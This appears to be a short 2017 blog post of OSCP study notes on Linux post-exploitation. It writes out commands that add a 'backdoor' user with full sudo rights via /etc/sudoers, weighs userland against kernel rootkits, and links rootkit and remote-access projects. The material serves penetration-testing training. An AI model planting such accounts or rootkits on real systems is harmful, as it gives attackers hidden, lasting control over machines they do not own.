Monday, September 4, 2017

OSCP - Linux Post Exploitation

Backdooring Linux

+ Adding a backdoor user (super visible to sysadmin)

Adding users

/usr/sbin/adduser backdoor
passwd backdoor
echo "backdoor ALL=(ALL) ALL" >> /etc/sudoers
+ Plant a rootkit (might make system unstable)

Userland rootkits

  • + more stable
  • + more likely to remain planted after system updates
  • - more visible
  • - less control

Kernel rootkits

  • + less visible
  • + complete control
  • - more unstable
  • - more likely to cause problems with system updates
https://github.com/n1nj4sec/pupy
https://github.com/r00tkillah/HORSEPILL
http://r00tkit.me/

Resources

0 comments:

Post a Comment

About Us